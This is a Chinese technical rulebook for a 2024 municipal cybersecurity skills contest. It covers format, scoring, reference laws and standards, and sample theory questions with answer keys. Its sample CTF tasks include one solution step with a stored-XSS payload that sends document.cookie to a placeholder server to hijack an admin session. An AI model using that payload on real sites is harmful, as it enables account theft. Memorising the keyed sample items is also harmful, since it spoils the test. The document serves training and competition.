2024 年镇江市“镇密杯”

网络与信息安全管理职业技能

竞赛技术文件

2024 年 9 月

目　录

一、本项目技术描述

本赛项面向全市企事业单位正式职工和在镇高等院校全日制在校学生，聚焦网络与信息安全管理员（数据安全管理员）（职业编码：4-04-04-02-004）工种应具备的知识和技能，考核网络与信息安全领域相关法律法规、标准规范、操作技能等。本文件根据《网络与信息安全管理员（数据安全管理员）国家职业技能标准（2024 年版）》和《关于举办 2024 年镇江市“镇密杯”网络与信息安全管理职业技能竞赛的通知》（镇密码〔2024〕1 号）编制。

本赛项为“三人赛制”，分“职工组”和“学生组”两个组别，举办预赛和决赛。

（一）预赛

比赛时间为 2024 年 9 月 18 日 14:30—15:30。

预赛通过互联网竞赛平台进行答题，进行理论知识考核，时间 60 分钟，共 90 题，总分 100 分，题型包括单选题、多选题、判断题。队伍中每名参赛选手均须独立完成答题。

（二）决赛

决赛于 2024 年 9 月底举办（具体事项另行通知）。

决赛考核理论知识和操作技能，时间共 240 分钟，总分 100 分，其中理论知识部分考核时间 60 分钟，占总成绩 30%，每名参赛选手需分别独立完成理论答题；操作技能部分考核时间为 180 分钟，占总成绩 70%，由每支队伍的三名选手共同完成。

二、选手应具备的能力

（一）应熟悉的理论知识

网络安全基础知识：

了解网络安全的基本概念、常见安全威胁和攻击类型及其防范措

施。

熟悉网络安全管理相关的法律法规和标准规范，特别是在网络安全、数据安全和密码技术领域的应用。

数据安全与密码技术：

掌握数据加密与解密的基本原理，了解常见的密码技术和加密算法。

熟悉 PKI（公钥基础设施）证书体系的基本原理及其在安全通信中的应用。

渗透攻击与防御：

熟悉渗透攻击的基本原理及常见技术，如 SQL 注入、XSS、CSRF 等。

了解基本的防御策略和入侵检测技术，以抵御网络攻击。

Web 安全与防护：

掌握 Web 应用程序安全的基础知识，熟悉 OWASP 十大安全风险及其防护措施。

了解 Web 漏洞的检测与修复方法，确保 Web 应用的安全性。

流量分析与取证知识：

熟悉网络流量分析的基本方法，能够识别异常流量并分析潜在的安全威胁。

掌握数字取证的基本方法，从日志和流量数据中提取有效证据用于安全事件分析。

（二）应掌握的实操技能

渗透攻击：

熟练使用渗透测试工具执行渗透攻击，发现系统和网络中的安全漏洞。

掌握 SQL 注入、XSS、CSRF 等常见 Web 攻击技术，能够模拟并演练这些攻击场景。

Web 安全：

能够对 Web 应用进行全面的安全测试，识别和利用常见 Web 漏洞，如 SQL 注入和跨站脚本攻击（XSS）。

掌握修复 Web 应用安全漏洞的技术，确保 Web 应用的安全性。

流量分析：

熟练使用流量分析工具，监控和分析网络流量，识别潜在的安全威胁。

能够分析异常流量，及时处理和修复可能的安全问题。

密码安全：

熟练实施和管理加密技术，特别是基于 PKI 的加密方案，保障数据的机密性和完整性。

熟练配置和使用 IPsec 等加密协议，确保网络通信的安全。

MISC （杂项）：

具备解决 CTF 比赛中 MISC 类题目的能力，包括但不限于文件隐写、编码转换、脚本破解等挑战。

能够灵活运用各种工具和技术，快速分析和解决复杂的 CTF MISC 题目。

取证分析：

能够从网络日志和流量数据中提取关键证据，进行数字取证分析。

熟练使用取证分析工具，进行证据保全和分析，为安全事件的溯源和处理提供支持。

三、竞赛内容

预赛理论题目数量为 90 题，竞赛题目内容包括网络安全、数据

安全、密码技术和应用相关法律法规、标准规范等内容。

决赛阶段理论考核内容与预赛相同，操作技能竞赛题目数量约为15 题，竞赛题目考核选手渗透攻击、Web 安全、流量分析、密码安全、杂项、取证分析等能力。

本次竞赛的题库将在镇江市职工技术协会微信公众号上公布。竞赛内容权重表如下表所示。

科目	模块	权重(%)
理论知识	职业道德基本知识	5
	政策法规	10
	技术基础及相关标准	15
	产品原理、应用及相关标准	20
	安全理论、技术及相关标准	20
	应用与实践场景	30
	合计	100
操作技能	渗透攻击	20
	Web 安全	15
	流量分析	15
	密码安全	20
	杂项	15
	取证分析	15
	合计	100

（一）参考资料

1．理论知识

《中国人民共和国网络安全法》

《中华人民共和国数据安全法》

《中华人民共和国个人信息保护法》

《中华人民共和国保守国家秘密法》

《中华人民共和国密码法》

《中华人民共和国电子商务法》

《中华人民共和国电子签名法》

《保守国家秘密法实施条例》

《未成年人网络保护条例》

《互联网政务应用安全管理规定》

《促进和规范数据跨境流动规定》

《网络暴力信息治理规定》

《App 违法违规收集使用个人信息行为认定方法》的通知

《常见类型移动互联网应用程序必要个人信息范围规定》

《生成式人工智能服务管理暂行办法》

《网络安全审查办法》

GB/T 20984-2022 信息安全技术 信息安全风险评估方法

GB/T 39786-2021 信息安全技术 信息系统密码应用基本要求

GB/T 43848-2024 网络安全技术 软件产品开源代码安全评价方法

GB/T 43779-2024 网络安全技术 基于密码令牌的主叫用户可信身份鉴别技术规范

GB/T 43741-2024 网络安全技术 网络安全众测服务要求

GB/T 43696-2024 网络安全技术 零信任参考体系架构

GB/T 43694-2024 网络安全技术 证书应用综合服务接口规范

GB/T 43557-2023 信息安全技术 网络安全信息报送指南

GB/T 43269-2023 信息安全技术 网络安全应急能力评估准则

GB/T 32914-2023 信息安全技术 网络安全服务能力要求

GB/T 42926-2023 金融信息系统网络安全风险评估规范

GB/T 42708-2023 金融网络安全威胁信息共享指南

GB/Z 42885-2023 信息安全技术 网络安全信息共享指南

GB/T 42583-2023 信息安全技术 政务网络安全监测平台技术规范

GB/T 20945-2023 信息安全技术 网络安全审计产品技术规范

GB/T 20986-2023 信息安全技术 网络安全事件分类分级指南

GB/T 42453-2023 信息安全技术 网络安全态势感知通用技术要求

GB/T 42461-2023 信息安全技术 网络安全服务成本度量指南

GB/T 42446-2023 信息安全技术 网络安全从业人员能力基本要求

GB/T 43698-2024 网络安全技术 软件供应链安全要求

GB 42250-2022 信息安全技术 网络安全专用产品安全技术要求

GB/T 39786-2021 信息安全技术信息系统密码应用基本要求

GB/T 43207-2023 信息安全技术 信息系统密码应用设计指南

GM/T 0001-2012 祖冲之序列密码算法

GM/T 0002-1012 SM4 分组密码算法

GM/T 0003-2012 SM2 椭圆曲线公钥密码算法

GM/T 0004-2012 SM3 密码杂凑算法

GM/T 0028-2014 密码模块安全技术要求

2．操作技能

（1）渗透攻击。考察选手的实战能力，包括信息收集、漏洞扫描、利用漏洞进行攻击、权限提升以及后门安装等。选手需要熟练掌

握各种渗透工具和技术，能够在真实环境中发现并利用系统或网络的安全漏洞。

(2) Web 安全。考察选手对常见 Web 漏洞 (如 SQL 注入、XSS、CSRF 等) 的理解和利用能力。选手需要熟练掌握各种 Web 技术及其潜在的安全风险，并能够在实际环境中加以利用。

(3) 流量分析。考察选手对网络协议、数据包结构和网络通信的深入理解。选手需要使用流量分析工具 (如 Wireshark) 来解析网络流量，识别可疑活动、解密数据包内容或重建文件传输内容。

(4) 密码安全。考察选手对经典和现代密码学的理解，包括加密、解密、哈希函数和加密协议的脆弱性分析。选手需要具备数学基础及算法分析能力，以破译复杂的加密机制。

(5) 杂项。考察选手的综合能力，通常涉及创新思维、快速学习新知识的能力，以及在非传统题目中运用安全技能的能力。

(6) 取证分析。考察选手的数字取证能力，包括文件恢复、日志分析、内存分析和数据包分析等技能，要求选手能够从海量数据中提取有用的信息。

2024 年镇江市“镇密杯”

网络与信息安全管理职业技能

竞赛样题

2024 年 8 月

（一）竞赛主题

在数字化浪潮席卷全球的 21 世纪，各项新兴技术的迅猛发展为我们的生活和产业带来了革命性的变化。然而科学技术的进步也伴随着网络安全威胁的不断升级。随着 5G、工业互联网、物联网（IoT）、车联网等技术的广泛应用，网络攻击的复杂性和破坏力也在急剧增加，更要求我们在网络安全领域构建坚固的防线，以应对日益多样化和复杂化的安全威胁。

本次竞赛涵盖理论和实操两大部分，内容包括网络安全法律法规、标准规范及渗透攻击、Web 安全、流量分析、密码安全、取证分析及杂项（MISC）等方面。通过竞赛，参赛者将研究探讨并防御潜在的网络安全风险，推动网络安全技术的不断创新，确保安全成为数字化转型中的核心力量。

（二）竞赛时长与分值

考核“理论知识”“实操能力”两个模块，竞赛时长和分值如下表：

模块编号	模块名称	时长（分钟）	分值	权重
模块一	初赛环节理论知识	60	100	100%
模块二	决赛环节理论知识	60	100	30%
模块三	决赛环节实操能力	180	100	70%
合计		300	300	200%
备注：得分保留小数点后两位				

（三）竞赛成果物提交

模块一“初赛环节-理论知识”参赛选手根据分配的账号登录系统并在系统上答题，在竞赛结束前系统提交试卷。

模块二“决赛环节-理论知识”参赛选手根据分配的账号登录系统并在系统上答题，在竞赛结束前系统提交试卷。

模块三“决赛环节实操能力”参赛选手根据分配的账号登录系统并在系统上答题，在竞赛结束前系统提交试卷。

（四）竞赛注意事项

在决赛环节实操能力，需各选手提交结题文档，文档中需要包含关键的结题步骤。

（五）模块一初赛环节理论知识细则

1．模块时长和模块分值

时长（分钟）	分值	权重
60	100	100%

2．题型

单选、多选、判断共 90 题。

3．考试内容

包括网络安全法律法规、网络安全标准、网络安全管理、网络安全技术、密码技术和应用知识等。

4．注意事项

闭卷线上答题，禁止切屏。答题完毕等待比赛时间结束即可查看答题分数，系统有剩余答题时间显示，当答题剩余时间为 00:00 时，系统自动提交试卷。考试遇电脑或系统异常请联系监考老师。

（六）模块二决赛环节理论知识细则

1．模块时长和模块分值

时长（分钟）	分值	权重
60	100	30%

2．题型

单选、多选、判断共 90 题。

3．考试内容

包括网络安全法律法规、网络安全标准、网络安全管理、网络安全技术、密码技术和应用知识等。

4．注意事项

闭卷线上答题，禁止切屏。答题完毕等待比赛时间结束即可查看答题分数，系统有剩余答题时间显示，当答题剩余时间为 00:00 时，系统自动提交试卷。考试遇电脑或系统异常请联系监考老师。

（七）模块三决赛环节实操能力细则

1．模块时长和模块分值

实操能力	时长（分钟）	分值	权重
渗透攻击	180	20	70%
Web 安全		15	
流量分析		15	
密码安全		20	
杂项		15	
取证分析		15	
合计	180	300	70%

2．题型

理论答题、操作解题。

3．考试内容

渗透攻击、Web 安全、流量分析、密码安全、杂项、取证分析等。

4．注意事项

考试时间结束后，停止答题。请提交解题思路（Writeup）至服务器。考试遇电脑或系统异常请联系监考老师。

考核内容

【单选】1.以下关于非对称密码的说法，错误的是（ ）

A.加密算法和解密算法使用不同的密钥

B.非对称密码也称为公钥密码

C.非对称密码可以用来实现数字签名

D.非对称密码不能用来加密数据

答案：D

【单选】2.假如甲想使用公钥密码算法发送一个加密信息给乙，此信息只有乙可以解密，甲使用哪个密钥来加密这个信息（ ）

A.甲的公钥 B.甲的私钥 C.乙的公钥 D.乙的私钥

答案：C

【单选】3.下列哪一项不属于公钥基础设施（PKI）的组件（ ）

A.CRL B.RA C.KDC D.CA

答案：C

【多选】4.安全的哈希算法应该具有的特点包括（ ）

A.单向性 B.弱抗碰撞性

C.强抗碰撞性 D.解密时间短

答案：ABC

【多选】5.关于对称加密算法和非对称加密算法，下列哪些说法是不正确的（ ）

A.对称加密算法更快，因为使用了替换密码和置换密码

B.对称加密算法更慢，因为使用了替换密码和置换密码

C.非对称加密算法的密钥分发比对称加密算法更困难

D.非对称加密算法不能提供认证和不可否认性

答案：BCD

【多选】6.下列说法正确的有（ ）

A.简单的说，密码学中的“明文”是指没有经过加密的信息；而“密文”是指已经加了密的信息

B.二战时期著名的“隐谜”密码打字机是英国军队使用的

C. Vigenere 密码是古典密码体制比拟有代表性的一种密码，其密码体制采用的是多表代换密码

D.Vigenere 密码是由法国密码学家提出来的

答案：ACD

【判断】7.伪造、冒用、盗用其他人的电子签名，构成犯罪的，依法追究刑事责任；给他人造成损失的依法承担民事责任（ ）

答案：√

【判断】8.字母频率分析法对多表代替密码算法最有效果（ ）

答案：×

【判断】9.任何单位或者个人都可以使用商用密码产品（ ）

答案：×

【操作题】1.你被要求对一家虚拟银行的内部网络进行渗透测试。你获得了一个对外开放的 Web 应用程序的 IP 地址。你的任务是通过收集信息，找到并利用该应用程序的漏洞，成功获得服务器上的管理员权限，并获取位于/root/flag.txt 中的 Flag。

解题思路：

1.信息收集: 使用 Nmap 扫描目标 IP，确定开放的端口和服务。了解 Web 应用程序使用的技术栈（如服务器类型、语言框架等）。

2.漏洞扫描: 利用工具（如 Nikto、Burp Suite）扫描 Web 应用程序，寻找常见的漏洞（如 SQL 注入、目录遍历等）。

3.漏洞利用: 如果找到漏洞，使用相关工具或编写 Exploit 代码进行利用，尝试获得管理员权限或 Shell 访问。

4.权限提升: 通过已获取的低权限 Shell，利用系统漏洞（如 SUID 权限错误、内核漏洞）提升权限到 root。

5.获取 Flag: 访问/root/flag.txt，读取并提交 Flag。

【操作题】2. 一个在线留言板存在漏洞。你需要发现并利用这个漏洞获取管理员的登录凭证。目标是通过输入恶意代码在留言板上执行 XSS 攻击，从而窃取管理员的 Cookie，登陆管理员账户后，在控制台中找到/admin/flag.txt 中的 Flag。

解题思路:

1.分析留言板: 在留言板输入各种 HTML 标签和脚本，观察是否能够成功执行，判断是否存在 XSS 漏洞。

2. 构造恶意 Payload: 编写一个 JavaScript 代码，例如 <script>document.location='http://yourserver.com?cookie='+document.cookie</script>，将其提交到留言板。

3.等待管理员访问: 当管理员访问页面时，脚本会被执行，管理员的 Cookie 将被发送到你的服务器。

4.登录管理员账户: 使用获取到的 Cookie，在浏览器中手动设置，模拟管理员身份登录后台。

5.获取 Flag: 登录成功后，导航到/admin/flag.txt 页面，读取并提交 Flag。

【操作题】3. 你获得了一份网络流量捕获文件（PCAP 格式），其中包含一个用户与某网站的通信数据。你的任务是通过分析这份

流量捕获文件，提取出用户传输的明文凭证或解密密文，从而找到Flag。

解题思路：

1.打开 PCAP 文件：使用 Wireshark 打开 PCAP 文件，查看捕获的网络流量。

2.筛选有用流量：使用过滤器（如 http、tcp.port==80）筛选 HTTP 流量，重点查看 HTTP 请求和响应中的数据。

3.查找明文信息：关注 GET 和 POST 请求，特别是含有登录凭证、Cookie 等敏感信息的数据包。

4.解密 HTTPS 流量：如果流量使用了 HTTPS，需要尝试解密，可能需要已知的 SSL 密钥或中间人攻击的解密技术。

5.提取 Flag：在解密或分析后的数据中查找可能的 Flag，例如在传输的参数或响应的页面中。

【操作题】4. 你发现了一份加密的文档文件，但不知道密码。文件使用 AES-128 加密，已知加密密钥的前 6 个字节是 123456。你需要利用这一信息，通过暴力破解或已知攻击方法恢复完整的密钥，解密文档并提取其中的 Flag。

解题思路：

1.确认已知信息：确定 AES-128 的密钥长度为 16 字节，已知的前 6 字节是 123456。

2.暴力破解剩余密钥：对剩余的 10 字节进行暴力破解。可以编写脚本生成所有可能的组合，然后尝试解密文档。

3.检查密钥有效性：每次尝试解密后，检查输出是否为可读文本或符合预期格式。如果匹配则认为破解成功。

4.解密文档：使用成功的密钥解密文档，查看解密后的内容。

5.获取 Flag: 在解密后的文档中找到 Flag 并提交。

【操作题】5. 你收到了一封奇怪的电子邮件，包含一个带有加密文本的二维码图片。你需要解码二维码，分析加密文本的格式，找出解密的方式，最终获取隐藏在二维码中的 Flag。

解题思路：

1.解码二维码: 使用在线工具或二维码解码器（如 zbarimg）读取二维码中的内容，获取加密文本。

2.分析加密文本: 观察解码后的文本格式，判断是否使用了常见的加密或编码方式（如 Base64、Caesar Cipher 等）。

3.尝试解密: 根据文本的特征，使用适当的解密工具或手工解密方法破解文本。

4.获取 Flag: 解密后，如果文本包含 Flag，直接提取并提交；如果是进一步的提示或线索，继续解码直到找到 Flag。

【操作题】6. 你获得了一台可疑的计算机内存转储文件。任务是分析该内存转储，查找并恢复被删除的文件，或者找到隐藏的恶意进程运行痕迹，从中提取出 Flag。

解题思路：

1.加载内存转储: 使用 Volatility 或 Rekall 加载内存转储文件。

2.分析进程列表: 查看内存中的进程列表（如 pslist），寻找异常的或隐藏的进程。

3.恢复文件: 通过分析内存中的文件句柄（如 filescan）或内存页内容，尝试恢复被删除的文件或数据。

4.检查网络连接: 使用网络插件（如 netscan）查看是否有可疑的网络连接或恶意通信。

5.获取 Flag: 在分析的过程中，注意检查文件内容、可疑的字符串或进程运行痕迹，找到隐藏的 Flag 并提交。

四、评分标准及流程

（一）预赛

1．采用互联网竞赛平台答题，题目以试卷形式显示在竞赛系统上，选手须使用各自的账号和口令登录竞赛系统，独立完成题目作答并提交答案。答题超过规定时间，系统将自动提交试卷，成绩以提交时答题情况为准。

2．禁止各参赛队伍或选手之间交流、分享答案，严禁使用任何方式查阅资料。

3．参赛选手不得使用任何方式对竞赛系统进行攻击和入侵。竞赛组委会将对所有行为进行实时监控，一旦发现并核实为参赛选手或竞赛有关人员恶意攻击的，将封禁攻击源 IP 地址，取消该选手及所在队伍参赛资格并通报相关单位。同时，保留进一步追究相关人员法律责任的权利。

4．预赛每支队伍成绩为队伍 3 名选手的总分，排名按队伍总分从高到低排序。

（二）决赛

1．在竞赛前组织抽签，竞赛时各参赛队伍按照抽签编号入座。

2．竞赛开始后每名参赛选手需独自完成理论考核，然后以队伍为单位，3 名选手规定时间内协同完成操作技能考核。

3．决赛系统限制提交答案次数，答对累加积分，答错不扣分。竞赛排名按队伍总成绩从高到低进行排序，成绩相同的，则按时间进行排序，先得分的排名在前。

4．竞赛过程中，现场裁判将视情况要求选手复现答题过程，不

能复现的本题成绩无效并给予警告。比赛结束前各队伍需要把详细解题思路及截图提交裁判组，否则视为成绩无效。

5．决赛个人总成绩按“个人理论知识成绩*30%+队伍操作技能成绩*70%”计算得出，队伍总成绩按三人总成绩之和计算得出。

五、场地及设施设备

（一）场地

1．竞赛场地光线充足，照明良好；供电设施正常且安全有保障；场地整洁；每个赛位占地不小于 12m^2（4m×3m），提供桌椅电脑，且标明赛位号，每个竞赛赛位提供 220V 交流电。

2．竞赛场地设置隔离带，非裁判员、参赛选手、工作人员不得进入比赛场地；竞赛场地划分为检录区、竞赛操作区、现场服务与技术支持区、休息区、观摩通道等区域，区域之间有明显标志或警示带；标明消防器材、安全通道、洗手间等位置。

3．赛场设有保安、公安、消防、医疗、设备维修和电力抢险人员待命，以防突发事件；赛场还应设有生活补给站等公共服务设施，为选手和赛场人员提供服务。

4．赛场设置安全通道和警戒线，确保进入赛场的大赛参观、采访、视察的人员限定在安全区域内活动，以保证大赛安全有序进行。

（二）设施设备

1．竞赛设施设备和工具

（1）竞赛设备

竞赛场地设备由主办方统一提供，供选手及裁判使用的设备，具体场地设备设施下表。

场地设备设施

序号	设备设施名称	型号规格	单位	数量	备注

1	竞赛平台	支撑选手理论答题、实操环境及提交答案。	套	1	
2	桌椅	桌子，用于放置设备。每套桌椅包含 1 张桌子，3 张椅子。	套	18	
3	其他	1.电源：常规用电； 2.网络：网络带宽要求单人：下行带宽 10Mbps，上行 1Mbps，延时<100ms 40-60 人/教室：建议使用 100M 带宽；有电源接口。	/	/	

2．选手自带物品

选手根据竞赛要求，推荐需要自带以下工具及标准件，具体见下表。

序号	名 称	规 格	精度	数量
1	笔记本计算机（含电源）及相关外设	/	自定	自备
2	网线	/	自定	自备
3	扩展坞（含网线接口）	/	自定	自备

六、赛事纪律

所有参赛者必须服从组委会统一安排，遵守竞赛纪律。

理论考核时每名选手须独立完成全部答题过程，对于违反竞赛规则的，一经发现，将取消队伍比赛成绩。

竞赛期间禁止请求外界援助、使用 DoS 攻击或非法攻击其他选

手，不得对比赛系统服务器发动任何恶意攻击行为，一经发现按退赛处理。

申诉与仲裁如下：

1．组委会成立裁判组、监督组和仲裁组，确保技能大赛的公正性。

2．参赛选手对竞赛结果存在异议，可在比赛结束后 2 小时内向裁判员提出申诉，对裁判审核结果仍存在异议，可向仲裁组提出仲裁。

3．参赛选手申诉须按照规定时限，以书面形式向大赛仲裁组提出，仲裁组受理参赛选手申诉后，由大赛仲裁组将处理意见通知参赛选手。

4．仲裁组的裁决为最终裁决，参赛选手不得因申诉或对处理意见不服而停止竞赛，否则按弃权处理。

七、赛事安全

（一）裁判、技术人员、选手应严格遵守设备安全操作规程；

（二）禁止选手及所有参加赛事的人员携带任何有毒有害物品进入竞赛现场。

八、绿色环保

（一）赛场严格遵守我国环境保护法；

（二）赛场所有废弃物应有效分类并处理，尽可能回收利用。

九、备注

（一）本技术文件适用于本次竞赛。

（二）本技术文件的最终解释权归大赛组委会技术部。